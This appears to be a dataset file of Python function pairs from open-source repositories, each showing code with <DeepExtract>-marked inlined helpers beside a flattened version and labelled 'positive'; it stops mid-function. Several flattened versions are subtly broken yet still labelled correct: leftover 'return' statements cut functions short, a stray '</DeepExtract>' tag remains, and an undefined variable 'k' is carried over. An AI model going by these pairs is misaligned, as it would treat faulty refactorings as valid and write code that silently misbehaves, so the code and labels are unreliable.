user = User.objects(login=self.login.data).first()
</DeepExtract>
if user is not None:
if not BCRYPT.check_password_hash(user.password, self.password.data):
raise validators.ValidationError('Invalid password')
|
def validate_login(self, field):
"""
log in
"""
user = User.objects(login=self.login.data).first()
if user is not None:
if not BCRYPT.check_password_hash(user.password, self.password.data):
raise validators.ValidationError('Invalid password')
|
analyzer
|
positive
|
def get_boilerplate_comments_content(self):
<DeepExtract>
boilerplates = []
comments = self._find_events_by_actor('commented', C.DEFAULT_BOT_NAMES, maxcount=999)
for comment in comments:
if not comment.get('body'):
continue
if 'boilerplate:' in comment['body']:
lines = [x for x in comment['body'].split('\n') if x.strip() and 'boilerplate:' in x]
bp = lines[0].split()[2]
if dates or content:
bpc = []
if dates:
bpc.append(comment['created_at'])
bpc.append(bp)
if content:
bpc.append(comment['body'])
boilerplates.append(bpc)
else:
boilerplates.append(bp)
bpcs = boilerplates
</DeepExtract>
bpcs = [x[-1] for x in bpcs]
return bpcs
|
def get_boilerplate_comments_content(self):
boilerplates = []
comments = self._find_events_by_actor('commented', C.DEFAULT_BOT_NAMES, maxcount=999)
for comment in comments:
if not comment.get('body'):
continue
if 'boilerplate:' in comment['body']:
lines = [x for x in comment['body'].split('\n') if x.strip() and 'boilerplate:' in x]
bp = lines[0].split()[2]
if dates or content:
bpc = []
if dates:
bpc.append(comment['created_at'])
bpc.append(bp)
if content:
bpc.append(comment['body'])
boilerplates.append(bpc)
else:
boilerplates.append(bp)
bpcs = boilerplates
bpcs = [x[-1] for x in bpcs]
return bpcs
|
ansibullbot
|
positive
|
def test_fetchall(self):
<DeepExtract>
try:
con = self.driver.connect(*self.connect_args, **self.connect_kw_args)
except AttributeError:
self.fail('No connect method found in self.driver module')
</DeepExtract>
try:
cur = con.cursor()
self.assertRaises(self.driver.Error, cur.fetchall)
<DeepExtract>
cur.execute(self.ddl1)
</DeepExtract>
for sql in self._populate():
cur.execute(sql)
self.assertRaises(self.driver.Error, cur.fetchall)
cur.execute('select name from %sbooze' % self.table_prefix)
rows = cur.fetchall()
self.assertTrue(cur.rowcount in (-1, len(self.samples)))
self.assertEqual(len(rows), len(self.samples), 'cursor.fetchall did not retrieve all rows')
rows = [r[0] for r in rows]
rows.sort()
for i in range(0, len(self.samples)):
self.assertEqual(rows[i], self.samples[i], 'cursor.fetchall retrieved incorrect rows')
rows = cur.fetchall()
self.assertEqual(len(rows), 0, 'cursor.fetchall should return an empty list if called after the whole result set has been fetched')
self.assertTrue(cur.rowcount in (-1, len(self.samples)))
<DeepExtract>
cur.execute(self.ddl2)
</DeepExtract>
cur.execute('select name from %sbarflys' % self.table_prefix)
rows = cur.fetchall()
self.assertTrue(cur.rowcount in (-1, 0))
self.assertEqual(len(rows), 0, 'cursor.fetchall should return an empty list if a select query returns no rows')
finally:
con.close()
|
def test_fetchall(self):
try:
con = self.driver.connect(*self.connect_args, **self.connect_kw_args)
except AttributeError:
self.fail('No connect method found in self.driver module')
try:
cur = con.cursor()
self.assertRaises(self.driver.Error, cur.fetchall)
cur.execute(self.ddl1)
for sql in self._populate():
cur.execute(sql)
self.assertRaises(self.driver.Error, cur.fetchall)
cur.execute('select name from %sbooze' % self.table_prefix)
rows = cur.fetchall()
self.assertTrue(cur.rowcount in (-1, len(self.samples)))
self.assertEqual(len(rows), len(self.samples), 'cursor.fetchall did not retrieve all rows')
rows = [r[0] for r in rows]
rows.sort()
for i in range(0, len(self.samples)):
self.assertEqual(rows[i], self.samples[i], 'cursor.fetchall retrieved incorrect rows')
rows = cur.fetchall()
self.assertEqual(len(rows), 0, 'cursor.fetchall should return an empty list if called after the whole result set has been fetched')
self.assertTrue(cur.rowcount in (-1, len(self.samples)))
cur.execute(self.ddl2)
cur.execute('select name from %sbarflys' % self.table_prefix)
rows = cur.fetchall()
self.assertTrue(cur.rowcount in (-1, 0))
self.assertEqual(len(rows), 0, 'cursor.fetchall should return an empty list if a select query returns no rows')
finally:
con.close()
|
aws-servicebroker
|
positive
|
def scatter(self, data_input, fields):
"""Scatter concatenated subproblem data out to multiple fields."""
<DeepExtract>
fsizes = tuple((self.field_size(f) for f in tuple(fields)))
fslices = tuple((self.field_slices(f) for f in tuple(fields)))
fshapes = tuple((self.field_shape(f) for f in tuple(fields)))
data = np.empty(sum(fsizes), dtype=self.dtype)
fviews = []
i0 = 0
for (fsize, fshape) in zip(fsizes, fshapes):
if fsize:
i1 = i0 + fsize
fview = data[i0:i1].reshape(fshape)
fviews.append(fview)
i0 = i1
else:
fviews.append(None)
fviews = tuple(fviews)
(data, views) = (data, fsizes, fviews, fslices)
</DeepExtract>
copyto(data, data_input)
for (field, ss_view, ss_slices) in views:
copyto(field.data[ss_slices], ss_view)
|
def scatter(self, data_input, fields):
"""Scatter concatenated subproblem data out to multiple fields."""
fsizes = tuple((self.field_size(f) for f in tuple(fields)))
fslices = tuple((self.field_slices(f) for f in tuple(fields)))
fshapes = tuple((self.field_shape(f) for f in tuple(fields)))
data = np.empty(sum(fsizes), dtype=self.dtype)
fviews = []
i0 = 0
for (fsize, fshape) in zip(fsizes, fshapes):
if fsize:
i1 = i0 + fsize
fview = data[i0:i1].reshape(fshape)
fviews.append(fview)
i0 = i1
else:
fviews.append(None)
fviews = tuple(fviews)
(data, views) = (data, fsizes, fviews, fslices)
copyto(data, data_input)
for (field, ss_view, ss_slices) in views:
copyto(field.data[ss_slices], ss_view)
|
dedalus
|
positive
|
def rpn_roidb(self):
if int(self._year) == 2007 or self._image_set != 'test':
<DeepExtract>
cache_file = os.path.join(self.cache_path, self.name + '_gt_roidb.pkl')
if os.path.exists(cache_file):
with open(cache_file, 'rb') as fid:
roidb = pickle.load(fid)
print('{} gt roidb loaded from {}'.format(self.name, cache_file))
gt_roidb = roidb
gt_roidb = [self._load_pascal_annotation(index) for index in self.image_index]
with open(cache_file, 'wb') as fid:
pickle.dump(gt_roidb, fid, pickle.HIGHEST_PROTOCOL)
print('wrote gt roidb to {}'.format(cache_file))
gt_roidb = gt_roidb
</DeepExtract>
<DeepExtract>
filename = self.config['rpn_file']
print('loading {}'.format(filename))
assert os.path.exists(filename), 'rpn data not found at: {}'.format(filename)
with open(filename, 'rb') as f:
box_list = pickle.load(f)
rpn_roidb = self.create_roidb_from_box_list(box_list, gt_roidb)
</DeepExtract>
roidb = imdb.merge_roidbs(gt_roidb, rpn_roidb)
else:
<DeepExtract>
filename = self.config['rpn_file']
print('loading {}'.format(filename))
assert os.path.exists(filename), 'rpn data not found at: {}'.format(filename)
with open(filename, 'rb') as f:
box_list = pickle.load(f)
roidb = self.create_roidb_from_box_list(box_list, None)
</DeepExtract>
return roidb
|
def rpn_roidb(self):
if int(self._year) == 2007 or self._image_set != 'test':
cache_file = os.path.join(self.cache_path, self.name + '_gt_roidb.pkl')
if os.path.exists(cache_file):
with open(cache_file, 'rb') as fid:
roidb = pickle.load(fid)
print('{} gt roidb loaded from {}'.format(self.name, cache_file))
gt_roidb = roidb
gt_roidb = [self._load_pascal_annotation(index) for index in self.image_index]
with open(cache_file, 'wb') as fid:
pickle.dump(gt_roidb, fid, pickle.HIGHEST_PROTOCOL)
print('wrote gt roidb to {}'.format(cache_file))
gt_roidb = gt_roidb
filename = self.config['rpn_file']
print('loading {}'.format(filename))
assert os.path.exists(filename), 'rpn data not found at: {}'.format(filename)
with open(filename, 'rb') as f:
box_list = pickle.load(f)
rpn_roidb = self.create_roidb_from_box_list(box_list, gt_roidb)
roidb = imdb.merge_roidbs(gt_roidb, rpn_roidb)
else:
filename = self.config['rpn_file']
print('loading {}'.format(filename))
assert os.path.exists(filename), 'rpn data not found at: {}'.format(filename)
with open(filename, 'rb') as f:
box_list = pickle.load(f)
roidb = self.create_roidb_from_box_list(box_list, None)
return roidb
|
DA_Detection
|
positive
|
def FromSimple(self, simple):
<DeepExtract>
if not isinstance(simple, str):
raise AssertionError('Type must be %s, but type is %s, value is %s' % (str, type(simple), simple))
</DeepExtract>
return simple
|
def FromSimple(self, simple):
if not isinstance(simple, str):
raise AssertionError('Type must be %s, but type is %s, value is %s' % (str, type(simple), simple))
return simple
|
city_visit_planner
|
positive
|
@pytest.fixture
def config_file(tmpdir: py.path.local, case):
"""Prepares Bioconda config.yaml"""
if 'add_root_files' in case:
for (fname, data) in case['add_root_files'].items():
with tmpdir.join(fname).open('w') as fdes:
fdes.write(data)
data = deepcopy(TEST_CONFIG_YAML)
if 'config' in case:
<DeepExtract>
for (key, value) in case['config'].items():
if isinstance(value, dict):
data[key] = dict_merge(data.get(key, {}), value)
elif isinstance(data, list):
for num in range(len(data)):
data[num][key] = dict_merge(data[num].get(key, {}), case['config'])
else:
data[key] = value
return data
</DeepExtract>
config_fname = tmpdir.join(TEST_CONFIG_YAML_FNAME)
with config_fname.open('w') as fdes:
yaml.dump(data, fdes)
yield config_fname
|
@pytest.fixture
def config_file(tmpdir: py.path.local, case):
"""Prepares Bioconda config.yaml"""
if 'add_root_files' in case:
for (fname, data) in case['add_root_files'].items():
with tmpdir.join(fname).open('w') as fdes:
fdes.write(data)
data = deepcopy(TEST_CONFIG_YAML)
if 'config' in case:
for (key, value) in case['config'].items():
if isinstance(value, dict):
data[key] = dict_merge(data.get(key, {}), value)
elif isinstance(data, list):
for num in range(len(data)):
data[num][key] = dict_merge(data[num].get(key, {}), case['config'])
else:
data[key] = value
return data
config_fname = tmpdir.join(TEST_CONFIG_YAML_FNAME)
with config_fname.open('w') as fdes:
yaml.dump(data, fdes)
yield config_fname
|
bioconda-utils
|
positive
|
def test_updatetime(self):
print('update 6000 records of SelfRef:')
<DeepExtract>
s = time()
r = lambda : update_dependent(SelfRef.objects.all())()
print(time() - s)
return r
</DeepExtract>
print('check 6000 records of SelfRef:')
<DeepExtract>
s = time()
r = lambda : update_dependent(SelfRef.objects.all())()
print(time() - s)
return r
</DeepExtract>
|
def test_updatetime(self):
print('update 6000 records of SelfRef:')
s = time()
r = lambda : update_dependent(SelfRef.objects.all())()
print(time() - s)
return r
print('check 6000 records of SelfRef:')
s = time()
r = lambda : update_dependent(SelfRef.objects.all())()
print(time() - s)
return r
</DeepExtract>
|
django-computedfields
|
positive
|
def test_call_entity_catch_exception():
entityId = df.EntityId('Counter', 'myCounter')
context_builder = ContextBuilder('catch exceptions')
<DeepExtract>
context_builder.add_event_sent_event(df.EntityId.get_scheduler_id(entityId), 0)
context_builder.add_orchestrator_completed_event()
context_builder.add_orchestrator_started_event()
context_builder.add_event_raised_event(name='0000', id_=0, input_='I am an error!', is_entity=True, is_error=True, literal_input=literal_input)
</DeepExtract>
result = get_orchestration_state_result(context_builder, generator_function_catch_entity_exception)
<DeepExtract>
expected_state = OrchestratorState(is_done=False, actions=[], output='Exception thrown', replay_schema=replay_schema.value)
</DeepExtract>
<DeepExtract>
action = CallEntityAction(entity_id=entityId, operation='add', input_=3)
expected_state.actions.append([action])
</DeepExtract>
expected_state._is_done = True
expected = expected_state.to_json()
assert_orchestration_state_equals(expected, result)
|
def test_call_entity_catch_exception():
entityId = df.EntityId('Counter', 'myCounter')
context_builder = ContextBuilder('catch exceptions')
context_builder.add_event_sent_event(df.EntityId.get_scheduler_id(entityId), 0)
context_builder.add_orchestrator_completed_event()
context_builder.add_orchestrator_started_event()
context_builder.add_event_raised_event(name='0000', id_=0, input_='I am an error!', is_entity=True, is_error=True, literal_input=literal_input)
result = get_orchestration_state_result(context_builder, generator_function_catch_entity_exception)
expected_state = OrchestratorState(is_done=False, actions=[], output='Exception thrown', replay_schema=replay_schema.value)
action = CallEntityAction(entity_id=entityId, operation='add', input_=3)
expected_state.actions.append([action])
expected_state._is_done = True
expected = expected_state.to_json()
assert_orchestration_state_equals(expected, result)
|
azure-functions-durable-python
|
positive
|
def get_neighbor_local_ipif(self, session, peer_device: Device) -> Optional[str]:
"""Get the local interface IP on this device that links to peer_device."""
<DeepExtract>
linknets = session.query(cnaas_nms.db.linknet.Linknet).filter((cnaas_nms.db.linknet.Linknet.device_a_id == self.id) & (cnaas_nms.db.linknet.Linknet.device_b_id == peer_device.id) | (cnaas_nms.db.linknet.Linknet.device_b_id == self.id) & (cnaas_nms.db.linknet.Linknet.device_a_id == peer_device.id)).all()
</DeepExtract>
if not linknets:
return None
elif len(linknets) > 1:
raise ValueError('Multiple linknets between devices not supported')
else:
linknet = linknets[0]
if linknet.device_a_id == self.id:
return '{}/{}'.format(linknet.device_a_ip, ipaddress.IPv4Network(linknet.ipv4_network).prefixlen)
elif linknet.device_b_id == self.id:
return '{}/{}'.format(linknet.device_b_ip, ipaddress.IPv4Network(linknet.ipv4_network).prefixlen)
|
def get_neighbor_local_ipif(self, session, peer_device: Device) -> Optional[str]:
"""Get the local interface IP on this device that links to peer_device."""
linknets = session.query(cnaas_nms.db.linknet.Linknet).filter((cnaas_nms.db.linknet.Linknet.device_a_id == self.id) & (cnaas_nms.db.linknet.Linknet.device_b_id == peer_device.id) | (cnaas_nms.db.linknet.Linknet.device_b_id == self.id) & (cnaas_nms.db.linknet.Linknet.device_a_id == peer_device.id)).all()
if not linknets:
return None
elif len(linknets) > 1:
raise ValueError('Multiple linknets between devices not supported')
else:
linknet = linknets[0]
if linknet.device_a_id == self.id:
return '{}/{}'.format(linknet.device_a_ip, ipaddress.IPv4Network(linknet.ipv4_network).prefixlen)
elif linknet.device_b_id == self.id:
return '{}/{}'.format(linknet.device_b_ip, ipaddress.IPv4Network(linknet.ipv4_network).prefixlen)
|
cnaas-nms
|
positive
|
def test_basic_configuration_produces_expected_files(self):
<DeepExtract>
print('python {}/template_pipeline.py make all'.format(ROOT))
proc = subprocess.Popen('python {}/template_pipeline.py make all'.format(ROOT), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=self.work_dir, **kwargs)
(stdout, stderr) = proc.communicate()
stdout = stdout.decode('utf-8')
stderr = stderr.decode('utf-8')
self.assertEqual(proc.returncode, 0, msg='stderr = {}'.format(stderr))
(retval, stdout, stderr) = (proc.returncode, stdout, stderr)
</DeepExtract>
<DeepExtract>
for fn in self.expected_output_files + ['pipeline.log']:
path = os.path.join(self.work_dir, fn)
self.assertTrue(os.path.exists(path), 'file {} does not exist'.format(path))
for fn in ['shell.log']:
path = os.path.join(self.work_dir, fn)
self.assertFalse(os.path.exists(path), 'file {} does exist but not expected'.format(path))
</DeepExtract>
|
def test_basic_configuration_produces_expected_files(self):
print('python {}/template_pipeline.py make all'.format(ROOT))
proc = subprocess.Popen('python {}/template_pipeline.py make all'.format(ROOT), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=self.work_dir, **kwargs)
(stdout, stderr) = proc.communicate()
stdout = stdout.decode('utf-8')
stderr = stderr.decode('utf-8')
self.assertEqual(proc.returncode, 0, msg='stderr = {}'.format(stderr))
(retval, stdout, stderr) = (proc.returncode, stdout, stderr)
for fn in self.expected_output_files + ['pipeline.log']:
path = os.path.join(self.work_dir, fn)
self.assertTrue(os.path.exists(path), 'file {} does not exist'.format(path))
for fn in ['shell.log']:
path = os.path.join(self.work_dir, fn)
self.assertFalse(os.path.exists(path), 'file {} does exist but not expected'.format(path))
</DeepExtract>
|
cgat-core
|
positive
|
def test_appropriate_scaling(self, diffraction_calculator: DiffractionGenerator):
"""Tests that doubling the unit cell halves the pattern spacing."""
<DeepExtract>
if 5 is not None:
a = 5
else:
a = 5.431
latt = diffpy.structure.lattice.Lattice(a, a, a, 90, 90, 90)
atom_list = []
for coords in [[0, 0, 0], [0.5, 0, 0.5], [0, 0.5, 0.5], [0.5, 0.5, 0]]:
(x, y, z) = (coords[0], coords[1], coords[2])
atom_list.append(diffpy.structure.atom.Atom(atype='Si', xyz=[x, y, z], lattice=latt))
atom_list.append(diffpy.structure.atom.Atom(atype='Si', xyz=[x + 0.25, y + 0.25, z + 0.25], lattice=latt))
silicon = diffpy.structure.Structure(atoms=atom_list, lattice=latt)
</DeepExtract>
<DeepExtract>
if 10 is not None:
a = 10
else:
a = 5.431
latt = diffpy.structure.lattice.Lattice(a, a, a, 90, 90, 90)
atom_list = []
for coords in [[0, 0, 0], [0.5, 0, 0.5], [0, 0.5, 0.5], [0.5, 0.5, 0]]:
(x, y, z) = (coords[0], coords[1], coords[2])
atom_list.append(diffpy.structure.atom.Atom(atype='Si', xyz=[x, y, z], lattice=latt))
atom_list.append(diffpy.structure.atom.Atom(atype='Si', xyz=[x + 0.25, y + 0.25, z + 0.25], lattice=latt))
big_silicon = diffpy.structure.Structure(atoms=atom_list, lattice=latt)
</DeepExtract>
diffraction = diffraction_calculator.calculate_ed_data(structure=silicon, reciprocal_radius=5.0)
big_diffraction = diffraction_calculator.calculate_ed_data(structure=big_silicon, reciprocal_radius=5.0)
indices = [tuple(i) for i in diffraction.indices]
big_indices = [tuple(i) for i in big_diffraction.indices]
assert (2, 2, 0) in indices
assert (2, 2, 0) in big_indices
coordinates = diffraction.coordinates[indices.index((2, 2, 0))]
big_coordinates = big_diffraction.coordinates[big_indices.index((2, 2, 0))]
assert np.allclose(coordinates, big_coordinates * 2)
|
def test_appropriate_scaling(self, diffraction_calculator: DiffractionGenerator):
"""Tests that doubling the unit cell halves the pattern spacing."""
if 5 is not None:
a = 5
else:
a = 5.431
latt = diffpy.structure.lattice.Lattice(a, a, a, 90, 90, 90)
atom_list = []
for coords in [[0, 0, 0], [0.5, 0, 0.5], [0, 0.5, 0.5], [0.5, 0.5, 0]]:
(x, y, z) = (coords[0], coords[1], coords[2])
atom_list.append(diffpy.structure.atom.Atom(atype='Si', xyz=[x, y, z], lattice=latt))
atom_list.append(diffpy.structure.atom.Atom(atype='Si', xyz=[x + 0.25, y + 0.25, z + 0.25], lattice=latt))
silicon = diffpy.structure.Structure(atoms=atom_list, lattice=latt)
if 10 is not None:
a = 10
else:
a = 5.431
latt = diffpy.structure.lattice.Lattice(a, a, a, 90, 90, 90)
atom_list = []
for coords in [[0, 0, 0], [0.5, 0, 0.5], [0, 0.5, 0.5], [0.5, 0.5, 0]]:
(x, y, z) = (coords[0], coords[1], coords[2])
atom_list.append(diffpy.structure.atom.Atom(atype='Si', xyz=[x, y, z], lattice=latt))
atom_list.append(diffpy.structure.atom.Atom(atype='Si', xyz=[x + 0.25, y + 0.25, z + 0.25], lattice=latt))
big_silicon = diffpy.structure.Structure(atoms=atom_list, lattice=latt)
diffraction = diffraction_calculator.calculate_ed_data(structure=silicon, reciprocal_radius=5.0)
big_diffraction = diffraction_calculator.calculate_ed_data(structure=big_silicon, reciprocal_radius=5.0)
indices = [tuple(i) for i in diffraction.indices]
big_indices = [tuple(i) for i in big_diffraction.indices]
assert (2, 2, 0) in indices
assert (2, 2, 0) in big_indices
coordinates = diffraction.coordinates[indices.index((2, 2, 0))]
big_coordinates = big_diffraction.coordinates[big_indices.index((2, 2, 0))]
assert np.allclose(coordinates, big_coordinates * 2)
|
diffsims
|
positive
|
def forward(self, x, layer_past=None, attention_mask=None, head_mask=None):
x = self.c_attn(x)
(query, key, value) = x.split(self.split_size, dim=2)
<DeepExtract>
new_x_shape = query.size()[:-1] + (self.n_head, query.size(-1) // self.n_head)
query = query.view(*new_x_shape)
if k:
query = query.permute(0, 2, 3, 1)
else:
query = query.permute(0, 2, 1, 3)
</DeepExtract>
<DeepExtract>
new_x_shape = key.size()[:-1] + (self.n_head, key.size(-1) // self.n_head)
key = key.view(*new_x_shape)
if True:
key = key.permute(0, 2, 3, 1)
else:
key = key.permute(0, 2, 1, 3)
</DeepExtract>
<DeepExtract>
new_x_shape = value.size()[:-1] + (self.n_head, value.size(-1) // self.n_head)
value = value.view(*new_x_shape)
if k:
value = value.permute(0, 2, 3, 1)
else:
value = value.permute(0, 2, 1, 3)
</DeepExtract>
if layer_past is not None:
(past_key, past_value) = (layer_past[0].transpose(-2, -1), layer_past[1])
key = torch.cat((past_key, key), dim=-1)
value = torch.cat((past_value, value), dim=-2)
present = torch.stack((key.transpose(-2, -1), value))
<DeepExtract>
w = torch.matmul(query, key)
if self.scale:
w = w / math.sqrt(value.size(-1))
(nd, ns) = (w.size(-2), w.size(-1))
b = self.bias[:, :, ns - nd:ns, :ns]
w = w * b - 10000.0 * (1 - b)
if attention_mask is not None:
w = w + attention_mask
w = nn.Softmax(dim=-1)(w)
w = self.attn_dropout(w)
if head_mask is not None:
w = w * head_mask
outputs = [torch.matmul(w, value)]
if self.output_attentions:
outputs.append(w)
attn_outputs = outputs
</DeepExtract>
a = attn_outputs[0]
<DeepExtract>
a = a.permute(0, 2, 1, 3).contiguous()
new_x_shape = a.size()[:-2] + (a.size(-2) * a.size(-1),)
a = a.view(*new_x_shape)
</DeepExtract>
a = self.c_proj(a)
a = self.resid_dropout(a)
outputs = [a, present] + attn_outputs[1:]
return outputs
|
def forward(self, x, layer_past=None, attention_mask=None, head_mask=None):
x = self.c_attn(x)
(query, key, value) = x.split(self.split_size, dim=2)
new_x_shape = query.size()[:-1] + (self.n_head, query.size(-1) // self.n_head)
query = query.view(*new_x_shape)
if k:
query = query.permute(0, 2, 3, 1)
else:
query = query.permute(0, 2, 1, 3)
new_x_shape = key.size()[:-1] + (self.n_head, key.size(-1) // self.n_head)
key = key.view(*new_x_shape)
if True:
key = key.permute(0, 2, 3, 1)
else:
key = key.permute(0, 2, 1, 3)
new_x_shape = value.size()[:-1] + (self.n_head, value.size(-1) // self.n_head)
value = value.view(*new_x_shape)
if k:
value = value.permute(0, 2, 3, 1)
else:
value = value.permute(0, 2, 1, 3)
if layer_past is not None:
(past_key, past_value) = (layer_past[0].transpose(-2, -1), layer_past[1])
key = torch.cat((past_key, key), dim=-1)
value = torch.cat((past_value, value), dim=-2)
present = torch.stack((key.transpose(-2, -1), value))
w = torch.matmul(query, key)
if self.scale:
w = w / math.sqrt(value.size(-1))
(nd, ns) = (w.size(-2), w.size(-1))
b = self.bias[:, :, ns - nd:ns, :ns]
w = w * b - 10000.0 * (1 - b)
if attention_mask is not None:
w = w + attention_mask
w = nn.Softmax(dim=-1)(w)
w = self.attn_dropout(w)
if head_mask is not None:
w = w * head_mask
outputs = [torch.matmul(w, value)]
if self.output_attentions:
outputs.append(w)
attn_outputs = outputs
a = attn_outputs[0]
a = a.permute(0, 2, 1, 3).contiguous()
new_x_shape = a.size()[:-2] + (a.size(-2) * a.size(-1),)
a = a.view(*new_x_shape)
a = self.c_proj(a)
a = self.resid_dropout(a)
outputs = [a, present] + attn_outputs[1:]
return outputs
|
COCON_ICLR2021
|
positive
|
def get_best_value(self, name):
<DeepExtract>
if name not in self.metrics:
raise ValueError('Unknown metric: %s' % (name,))
</DeepExtract>
return self.metrics[name].get_best_value()
|
def get_best_value(self, name):
if name not in self.metrics:
raise ValueError('Unknown metric: %s' % (name,))
return self.metrics[name].get_best_value()
|
AutoRec
|
positive
|
def test_parameters_and_result_fulfill_constact():
@deal.ensure(lambda a, b, result: a > 0 and b > 0 and (result != 'same number'))
def func(a, b) -> str:
if a == b:
return 'same number'
else:
return 'different numbers'
assert func(1, 2) == 'different numbers'
with pytest.raises(deal.PostContractError):
<DeepExtract>
if 0 == 1:
return 'same number'
else:
return 'different numbers'
</DeepExtract>
with pytest.raises(deal.PostContractError):
<DeepExtract>
if 1 == 0:
return 'same number'
else:
return 'different numbers'
</DeepExtract>
with pytest.raises(deal.PostContractError):
<DeepExtract>
if 1 == 1:
return 'same number'
else:
return 'different numbers'
</DeepExtract>
|
def test_parameters_and_result_fulfill_constact():
@deal.ensure(lambda a, b, result: a > 0 and b > 0 and (result != 'same number'))
def func(a, b) -> str:
if a == b:
return 'same number'
else:
return 'different numbers'
assert func(1, 2) == 'different numbers'
with pytest.raises(deal.PostContractError):
if 0 == 1:
return 'same number'
else:
return 'different numbers'
with pytest.raises(deal.PostContractError):
if 1 == 0:
return 'same number'
else:
return 'different numbers'
with pytest.raises(deal.PostContractError):
if 1 == 1:
return 'same number'
else:
return 'different numbers'
</DeepExtract>
|
deal
|
positive
|
def test_get_slot_value_v2_invalid_slot_name(self):
self.test_intent_request.intent.slots[self.test_slot_name].slot_value = self.test_list_slot
<DeepExtract>
self.test_request_envelope.request = self.test_intent_request
test_input = HandlerInput(request_envelope=self.test_request_envelope)
</DeepExtract>
actual_slot_value = get_slot_value_v2(handler_input=test_input, slot_name='invalid_slot')
self.assertIsNone(actual_slot_value, 'get_slot_value_v2 method returned slotValue type when an invalid slot name is passed')
|
def test_get_slot_value_v2_invalid_slot_name(self):
self.test_intent_request.intent.slots[self.test_slot_name].slot_value = self.test_list_slot
self.test_request_envelope.request = self.test_intent_request
test_input = HandlerInput(request_envelope=self.test_request_envelope)
actual_slot_value = get_slot_value_v2(handler_input=test_input, slot_name='invalid_slot')
self.assertIsNone(actual_slot_value, 'get_slot_value_v2 method returned slotValue type when an invalid slot name is passed')
|
alexa-skills-kit-sdk-for-python
|
positive
|
def create_batches(self):
if self.train:
def _pool(data, random_shuffler):
for p in torchtext.data.batch(data, self.batch_size * 100):
<DeepExtract>
if self.batch_size_fn is None:
def batch_size_fn(new, count, sofar):
p_batch = count
(minibatch, size_so_far) = ([], 0)
for ex in sorted(p, key=self.sort_key):
minibatch.append(ex)
size_so_far = self.batch_size_fn(ex, len(minibatch), size_so_far)
if size_so_far >= self.batch_size:
overflowed = 0
if size_so_far > self.batch_size:
overflowed += 1
if self.batch_size_multiple > 1:
overflowed += (len(minibatch) - overflowed) % self.batch_size_multiple
if overflowed == 0:
yield minibatch
(minibatch, size_so_far) = ([], 0)
else:
yield minibatch[:-overflowed]
minibatch = minibatch[-overflowed:]
size_so_far = 0
for (i, ex) in enumerate(minibatch):
size_so_far = self.batch_size_fn(ex, i + 1, size_so_far)
if minibatch:
yield minibatch
</DeepExtract>
for b in random_shuffler(list(p_batch)):
yield b
<DeepExtract>
for p in torchtext.data.batch(self.data(), self.batch_size * 100):
p_batch = batch_iter(sorted(p, key=self.sort_key), self.batch_size, batch_size_fn=self.batch_size_fn, batch_size_multiple=self.batch_size_multiple)
for b in self.random_shuffler(list(p_batch)):
yield b
</DeepExtract>
else:
self.batches = []
for b in batch_iter(self.data(), self.batch_size, batch_size_fn=self.batch_size_fn, batch_size_multiple=self.batch_size_multiple):
self.batches.append(sorted(b, key=self.sort_key))
|
def create_batches(self):
if self.train:
def _pool(data, random_shuffler):
for p in torchtext.data.batch(data, self.batch_size * 100):
if self.batch_size_fn is None:
def batch_size_fn(new, count, sofar):
p_batch = count
(minibatch, size_so_far) = ([], 0)
for ex in sorted(p, key=self.sort_key):
minibatch.append(ex)
size_so_far = self.batch_size_fn(ex, len(minibatch), size_so_far)
if size_so_far >= self.batch_size:
overflowed = 0
if size_so_far > self.batch_size:
overflowed += 1
if self.batch_size_multiple > 1:
overflowed += (len(minibatch) - overflowed) % self.batch_size_multiple
if overflowed == 0:
yield minibatch
(minibatch, size_so_far) = ([], 0)
else:
yield minibatch[:-overflowed]
minibatch = minibatch[-overflowed:]
size_so_far = 0
for (i, ex) in enumerate(minibatch):
size_so_far = self.batch_size_fn(ex, i + 1, size_so_far)
if minibatch:
yield minibatch
for b in random_shuffler(list(p_batch)):
yield b
for p in torchtext.data.batch(self.data(), self.batch_size * 100):
p_batch = batch_iter(sorted(p, key=self.sort_key), self.batch_size, batch_size_fn=self.batch_size_fn, batch_size_multiple=self.batch_size_multiple)
for b in self.random_shuffler(list(p_batch)):
yield b
else:
self.batches = []
for b in batch_iter(self.data(), self.batch_size, batch_size_fn=self.batch_size_fn, batch_size_multiple=self.batch_size_multiple):
self.batches.append(sorted(b, key=self.sort_key))
|
encoder-agnostic-adaptation
|
positive
|
def run(self):
"""
Starts a zmq subscriber and listens for new messages from Threat Bus.
Invokes the given callback for every received message.
@param callback A callable function to invoke for received messages.
"""
while not self.receive_socket:
try:
<DeepExtract>
reply = subscribe(self.zmq_manage_ep, self.subscribe_topics, self.snapshot)
if not reply_is_success(reply):
raise RuntimeError(f'Threat Bus subscription with topics {self.subscribe_topics} failed. Is the endpoint reachable?')
pub_port = reply.get('pub_port', None)
sub_port = reply.get('sub_port', None)
p2p_topic = reply.get('topic', None)
if not pub_port or not sub_port or (not p2p_topic):
raise RuntimeError('Threat Bus subscription failed with an incomplete reply.')
if self.p2p_topic:
self._unsubscribe()
self.p2p_topic = p2p_topic
zmq_host = self.zmq_manage_ep.split(':')[1]
self.publish_socket = zmq.Context().socket(zmq.PUB)
self.publish_socket.connect(f'tcp://{zmq_host}:{pub_port}')
self.receive_socket = zmq.Context().socket(zmq.SUB)
self.receive_socket.connect(f'tcp://{zmq_host}:{sub_port}')
self.receive_socket.setsockopt(zmq.SUBSCRIBE, self.p2p_topic.encode())
self.log_info(f"Subscribed to Threat Bus using p2p_topic '{self.p2p_topic}'.")
self.poller = zmq.Poller()
self.poller.register(self.receive_socket, zmq.POLLIN)
self.snapshot = 0
</DeepExtract>
except Exception as e:
self.log_error(e)
time.sleep(5)
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
def exception_handler(loop, context):
self.log_error(f'Error: {context}')
loop.set_exception_handler(exception_handler)
loop.run_until_complete(asyncio.wait([self._heartbeat(), self._receive()]))
loop.close()
|
def run(self):
"""
Starts a zmq subscriber and listens for new messages from Threat Bus.
Invokes the given callback for every received message.
@param callback A callable function to invoke for received messages.
"""
while not self.receive_socket:
try:
reply = subscribe(self.zmq_manage_ep, self.subscribe_topics, self.snapshot)
if not reply_is_success(reply):
raise RuntimeError(f'Threat Bus subscription with topics {self.subscribe_topics} failed. Is the endpoint reachable?')
pub_port = reply.get('pub_port', None)
sub_port = reply.get('sub_port', None)
p2p_topic = reply.get('topic', None)
if not pub_port or not sub_port or (not p2p_topic):
raise RuntimeError('Threat Bus subscription failed with an incomplete reply.')
if self.p2p_topic:
self._unsubscribe()
self.p2p_topic = p2p_topic
zmq_host = self.zmq_manage_ep.split(':')[1]
